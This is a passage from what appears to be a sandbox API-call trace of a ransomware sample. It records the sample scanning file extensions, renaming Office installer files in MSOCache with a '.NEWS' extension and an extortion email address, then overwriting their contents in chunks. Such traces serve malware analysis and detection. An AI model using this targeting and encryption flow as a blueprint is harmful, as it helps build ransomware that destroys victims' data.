(lpString1=".xlsx", lpString2="t.ttf") returned -1 [0045.072] lstrlenW (lpString=".ppt") returned 4 [0045.072] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0045.072] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0045.072] lstrlenW (lpString=".zip") returned 4 [0045.072] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0045.072] lstrlenW (lpString=".rar") returned 4 [0045.072] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0045.072] lstrlenW (lpString=".bz2") returned 4 [0045.072] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0045.072] lstrlenW (lpString=".7z") returned 3 [0045.072] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0045.072] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0045.072] lstrlenW (lpString=".dbf") returned 4 [0045.072] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0045.072] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0045.072] lstrlenW (lpString=".1cd") returned 4 [0045.072] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0045.073] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0045.073] lstrlenW (lpString=".jpg") returned 4 [0045.073] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0045.073] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0045.073] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0045.073] lstrlenW (lpString=".doc") returned 4 [0045.073] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0045.073] lstrlenW (lpString=".docx") returned 5 [0045.073] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0045.073] lstrlenW (lpString=".pdf") returned 4 [0045.073] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0045.073] lstrlenW (lpString=".xls") returned 4 [0045.073] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0045.073] lstrlenW (lpString=".xlsx") returned 5 [0045.073] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0045.073] lstrlenW (lpString=".ppt") returned 4 [0045.073] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0045.073] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0045.073] lstrlenW (lpString=".zip") returned 4 [0045.073] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0045.074] lstrlenW (lpString=".rar") returned 4 [0045.074] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0045.074] lstrlenW (lpString=".bz2") returned 4 [0045.074] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0045.074] lstrlenW (lpString=".7z") returned 3 [0045.074] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0045.074] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0045.074] lstrlenW (lpString=".dbf") returned 4 [0045.074] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0045.074] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0045.074] lstrlenW (lpString=".1cd") returned 4 [0045.074] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0045.074] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0045.074] lstrlenW (lpString=".jpg") returned 4 [0045.074] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0045.074] Sleep (dwMilliseconds=0x64) [0045.456] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0045.456] lstrlenW (lpString="PowerPointMUI.msi") returned 17 [0045.469] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0045.488] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x35cff1c | out: lpFileSize=0x35cff1c*=2503680) returned 1 [0045.488] CloseHandle (hObject=0x1a8) returned 1 [0045.489] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi")) returned 0x2020 [0045.489] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0045.489] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0046.285] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.285] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc6c | out: lpNewFilePointer=0x0) returned 1 [0046.285] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0046.285] ReadFile (in: hFile=0x1a8, lpBuffer=0x3c80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c80058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.501] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0046.504] ReadFile (in: hFile=0x1a8, lpBuffer=0x3cc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cc0058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.527] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0046.528] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0046.528] ReadFile (in: hFile=0x1a8, lpBuffer=0x3d00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d00058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.766] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.766] WriteFile (in: hFile=0x1a8, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xc010e, lpNumberOfBytesWritten=0x35cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x35cfcb0*=0xc010e, lpOverlapped=0x0) returned 1 [0046.936] SetEndOfFile (hFile=0x1a8) returned 1 [0046.936] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x3ef5868 [0047.042] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.042] WriteFile (in: hFile=0x1a8, lpBuffer=0x3ef5868*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef5868*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.047] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.047] WriteFile (in: hFile=0x1a8, lpBuffer=0x3ef5868*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef5868*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.060] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.060] WriteFile (in: hFile=0x1a8, lpBuffer=0x3ef5868*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef5868*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.068] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ef5868 | out: hHeap=0x5c0000) returned 1 [0047.068] CloseHandle (hObject=0x1a8) returned 1 [0049.350] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0049.351] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0049.351] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0049.351] lstrlenW (lpString=".doc") returned 4 [0049.351] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0049.351] lstrlenW (lpString=".docx") returned 5 [0049.351] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0049.351] lstrlenW (lpString=".pdf") returned 4 [0049.351] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0049.351] lstrlenW (lpString=".xls") returned 4 [0049.351] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0049.351] lstrlenW (lpString=".xlsx") returned 5 [0049.351] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0049.351] lstrlenW (lpString=".ppt") returned 4 [0049.351] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0049.351] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0049.351] lstrlenW (lpString=".zip") returned 4 [0049.351] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0049.351] lstrlenW (lpString=".rar") returned 4 [0049.351] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0049.351] lstrlenW (lpString=".bz2") returned 4 [0049.351] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0049.351] lstrlenW (lpString=".7z") returned 3 [0049.352] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0049.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0049.352] lstrlenW (lpString=".dbf") returned 4 [0049.352] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0049.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0049.352] lstrlenW (lpString=".1cd") returned 4 [0049.352] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0049.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0049.352] lstrlenW (lpString=".jpg") returned 4 [0049.352] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0049.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0049.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0049.352] lstrlenW (lpString=".doc") returned 4 [0049.352] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0049.352] lstrlenW (lpString=".docx") returned 5 [0049.352] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0049.352] lstrlenW (lpString=".pdf") returned 4 [0049.352] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0049.352] lstrlenW (lpString=".xls") returned 4 [0049.352] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0049.353] lstrlenW (lpString=".xlsx") returned 5 [0049.353] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0049.353] lstrlenW (lpString=".ppt") returned 4 [0049.353] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0049.353] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0049.353] lstrlenW (lpString=".zip") returned 4 [0049.353] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0049.353] lstrlenW (lpString=".rar") returned 4 [0049.353] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0049.353] lstrlenW (lpString=".bz2") returned 4 [0049.353] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0049.353] lstrlenW (lpString=".7z") returned 3 [0049.353] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0049.353] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0049.353] lstrlenW (lpString=".dbf") returned 4 [0049.353] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0049.353] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0049.353] lstrlenW (lpString=".1cd") returned 4 [0049.353] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0049.353] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0049.353] lstrlenW (lpString=".jpg") returned 4 [0049.353] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0049.354] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0049.354] lstrlenW (lpString="PublisherMUI.msi") returned 16 [0049.354] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0049.354] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x35cff1c | out: lpFileSize=0x35cff1c*=2513920) returned 1 [0049.354] CloseHandle (hObject=0x1a8) returned 1 [0049.355] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi")) returned 0x2020 [0049.355] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0049.355] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0049.356] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0049.356] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc6c | out: lpNewFilePointer=0x0) returned 1 [0049.356] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0049.356] ReadFile (in: hFile=0x1a8, lpBuffer=0x3c80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c80058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.633] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0049.634] ReadFile (in: hFile=0x1a8, lpBuffer=0x3cc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cc0058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.742] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0049.742] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0049.742] ReadFile (in: hFile=0x1a8, lpBuffer=0x3d00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d00058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.004] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.004] WriteFile (in: hFile=0x1a8, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x35cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x35cfcb0*=0xc010c, lpOverlapped=0x0) returned 1 [0050.513] SetEndOfFile (hFile=0x1a8) returned 1 [0050.513] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x3ef4860 [0050.519] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0050.519] WriteFile (in: hFile=0x1a8, lpBuffer=0x3ef4860*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef4860*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.522] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0050.522] WriteFile (in: hFile=0x1a8, lpBuffer=0x3ef4860*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef4860*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.533] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0050.533] WriteFile (in: hFile=0x1a8, lpBuffer=0x3ef4860*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef4860*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ef4860 | out: hHeap=0x5c0000) returned 1 [0050.539] CloseHandle (hObject=0x1a8) returned 1 [0051.479] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0051.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0051.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0051.485] lstrlenW (lpString=".doc") returned 4 [0051.485] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0051.485] lstrlenW (lpString=".docx") returned 5 [0051.485] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0051.485] lstrlenW (lpString=".pdf") returned 4 [0051.485] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0051.485] lstrlenW (lpString=".xls") returned 4 [0051.485] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0051.485] lstrlenW (lpString=".xlsx") returned 5 [0051.485] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0051.485] lstrlenW (lpString=".ppt") returned 4 [0051.485] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0051.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0051.485] lstrlenW (lpString=".zip") returned 4 [0051.485] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0051.485] lstrlenW (lpString=".rar") returned 4 [0051.486] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0051.486] lstrlenW (lpString=".bz2") returned 4 [0051.486] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0051.486] lstrlenW (lpString=".7z") returned 3 [0051.486] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0051.486] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0051.486] lstrlenW (lpString=".dbf") returned 4 [0051.486] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0051.486] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0051.486] lstrlenW (lpString=".1cd") returned 4 [0051.486] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0051.486] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0051.486] lstrlenW (lpString=".jpg") returned 4 [0051.486] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0051.486] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0051.486] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0051.486] lstrlenW (lpString=".doc") returned 4 [0051.486] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0051.486] lstrlenW (lpString=".docx") returned 5 [0051.486] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0051.487] lstrlenW (lpString=".pdf") returned 4 [0051.487] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0051.487] lstrlenW (lpString=".xls") returned 4 [0051.487] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0051.487] lstrlenW (lpString=".xlsx") returned 5 [0051.487] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0051.487] lstrlenW (lpString=".ppt") returned 4 [0051.487] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0051.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0051.487] lstrlenW (lpString=".zip") returned 4 [0051.487] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0051.487] lstrlenW (lpString=".rar") returned 4 [0051.487] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0051.487] lstrlenW (lpString=".bz2") returned 4 [0051.487] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0051.487] lstrlenW (lpString=".7z") returned 3 [0051.487] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0051.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0051.487] lstrlenW (lpString=".dbf") returned 4 [0051.487] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0051.488] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0051.488] lstrlenW (lpString=".1cd") returned 4 [0051.488] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0051.488] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0051.488] lstrlenW (lpString=".jpg") returned 4 [0051.488] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0051.488] lstrcmpiW (lpString1=".cab", lpString2=".NEWS") returned -1 [0051.488] lstrlenW (lpString="OutlkLR.cab") returned 11 [0051.488] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0051.489] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x35cff1c | out: lpFileSize=0x35cff1c*=14819276) returned 1 [0051.489] CloseHandle (hObject=0x194) returned 1 [0051.489] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab")) returned 0x2020 [0051.489] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all 